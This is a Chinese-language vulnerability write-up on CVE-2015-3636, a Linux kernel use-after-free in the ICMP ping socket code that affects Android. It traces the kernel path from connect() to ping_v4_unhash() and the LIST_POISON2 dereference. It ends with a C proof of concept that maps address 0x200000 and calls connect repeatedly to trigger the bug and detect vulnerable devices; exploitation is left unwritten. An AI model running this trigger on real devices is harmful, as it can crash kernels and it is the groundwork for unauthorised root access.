CVE-2015-3636漏洞分析

CVE-2015-3636是一个Android系统上可通用的root提权漏洞,这种提权漏洞的挖掘越来越困难,一方面是因为Android系统碎片化十分严重,另一方面是漏洞缓冲机制的不断引入。

漏洞概述

该漏洞属于Linux Kernel级别的use-after-free漏洞,存在于Linux内核的ping.c文件中。当用户态调用系统调用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP),用返回的socket文件描述符作为参数调用系统调用connect(),并且connect的第二个参数中sa_family == AF_UNSPEC时,就会因为访问0x200200这个地址引起系统crash。如果攻击者巧妙地填充或者覆盖PING socket对象,就能达到获取root权限的目的。

漏洞分析

从补丁源码可以看出里面添加了sk_nulls_node_init(sk->nulls_node);一行代码,通过查看该函数的实现,这个函数的作用是将参数node的pprev成员赋为NULL。
include/net/sock.h

1
2
3
4
static inline void sk_nulls_node_init(struct hlist_nulls_node *node)
{

node->pprev = NULL;
}

接下来我们跟踪一下代码执行流程。调用connect()时会进入到inet_dgram_connect()函数中,过程如下: net/socket.c

1
2
3
4
5
6
7
8
9
10
11
12
SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr,
int, addrlen)
{
struct socket *sock;
int err, fput_needed;

sock = sockfd_lookup_light(fd, &err, &fput_needed);
...
err = sock->ops->connect(sock, (struct sockaddr *)&address, addrlen,
sock->file->f_flags);
...
}

其中struct socket定义如下: include/linux/net.h

1
2
3
4
5
struct socket {
...
struct sock *sk; // internal networking protocol agnostic socket representation
const struct proto_ops *ops; // ops: protocol specific socket operations
};

其中的ops成员被connect()函数中的sockfd_lookup_light()初始化如下:

1
2
3
4
5
6
const struct proto_ops inet_dgram_ops = {
.family = PF_INET,
.owner = THIS_MODULE,
.release = inet_release,
.bind = inet_bind,
.connect = inet_dgram_connect, // 这里的初始化使connect进入inet_dgram_connect函数

下面看一下inet_dgram_connect()这个函数,概述中说过因为调用connect()sa_family == AF_UNSPEC,所以会执行sk->sk_prot->disconnect(sk, flags)这行代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;

if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;
if (uaddr->sa_family == AF_UNSPEC)
return sk->sk_prot->disconnect(sk, flags);

if (!inet_sk(sk)->inet_num && inet_autobind(sk))
return -EAGAIN;
return sk->sk_prot->connect(sk, uaddr, addr_len);
}

sk_prot是sk对象的一个成员,指向一个包含了确定数量函数指针的指针表,而具体的这些函数执行哪里取决于它的协议类型,这些协议包含TCP、UDP等。因此sk->sk_prot->disconnect(sk, flag)这条语句最终是调用的udp_disconnect(struct sock *sk, int flag)这个函数: net/ipv4/udp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
int udp_disconnect(struct sock *sk, int flags)
{

struct inet_sock *inet = inet_sk(sk);

sk->sk_state = TCP_CLOSE;
...
if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk);
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}

在socket对象不绑定端口的情况下,会执行sk->sk_prot->unhash(sk)这条语句,最终根据协议类型调用的是ping_v4_unhash(struct sock *sk): net/ipv4/ping.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void ping_v4_unhash(struct sock *sk)
{

struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) {
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_nulls_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}

现在程序逻辑进入到了漏洞所在的位置,关注的重点在hlist_nulls_del()sock_put()这两行,hlist_nulls_del()这句其实是将sk对象在其对应的内核hlist中删除。具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline void __hlist_nulls_del(struct hlist_nulls_node *n)
{
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;
if (!is_a_nulls(next))
next->pprev = pprev;
}

static inline void hlist_nulls_del(struct hlist_nulls_node *n)
{

__hlist_nulls_del(n);
n->pprev = LIST_POISON2;
}

就是将n节点从对应链表中删除,并且将n节点的前向二级指针pprev赋值为LIST_POISON2这个值,在内核源码中,这个宏定义为0x200200。
第一次调用sin_family == AF_UNSPEC的connect时程序不会产生任何异常,而仅仅只是为了使这个sock对象sk的对应节点成员的pprev值被赋值为0x200200。
第二次调用sin_family == AF_UNSPEC的connect时,才会真正触发漏洞使系统crash。这是因为*pprev = next这条语句其实是对第一次节点的删除操作后LIST_POISON2这个指针解引用,让其为next,而在内核中,这个LIST_POISON2地址是不能被访问的,所以会引起系统crash。
这里还有一个问题需要说明一下,要使程序能进入if (sk_hashed())逻辑中,必须在前面所说的两次connect之前先用sin_family == AF_INET来调用一次connect(),这样才能使sk对象在内核中是hashed(被加入到内核hlist中)。

sin_familysockaddr_in结构体中的成员,sa_familysockaddr结构体中的成员,作为connect参数时sockaddr_in会被转换为sockaddrsin_family成员就变成了sa_family

完整的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <unistd.h>
#include <sys/socket.h>
#include <errno.h>
#include <linux/netlink.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <jni.h>
#define MMAP_BASE 0x200000
#define LIST_POISON 0x200200
#define MMAP_SIZE 0x200000
int checkIsVulnerable()
{

void * magic = mmap((void *) MMAP_BASE, MMAP_SIZE,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
-1, 0);//向0x20000到0x40000这个虚拟内存地址映射,并且将这个地址段中所有值设为0
memset(magic, 0, MMAP_SIZE);
*((long *)(LIST_POISON)) = 0xfefefefe;//给0x200200这个虚拟内存地址中赋值为0xfefefefe;
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
// 第一次用AF_INET sin_family来connect是为了让sk(sock 对象)在内核中hashed
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

sa.sin_family = AF_UNSPEC;
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));
/* 每次用AF_UNSPEC调用connect会触发inet_dgram_connect()中的sk->sk_prot->disconnect()逻辑
* 其中disconnect的具体实现是根据协议类型而定的,PING(ICMP)socket的具体实现disconnect()是
* udp_disconnect()未绑定端口的情况下会触发sk->sk_prot->unhash(sk)逻辑*/

connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); // 如果漏洞存在,第二次调用就会触发这个漏洞
if (*((long *)(LIST_POISON)) != 0xfefefefe) {
printf("Device is vulnerable\n");
return 1;
} else {
printf("Device is not vulnerable\n");
return 0;
}
}

在Android上编译调用。

漏洞利用

后面再补充。。。
reference
http://blog.csdn.net/koozxcv/article/details/50976884
http://blog.csdn.net/py_panyu/article/details/47378733
Own your Android! Yet Another Universal Root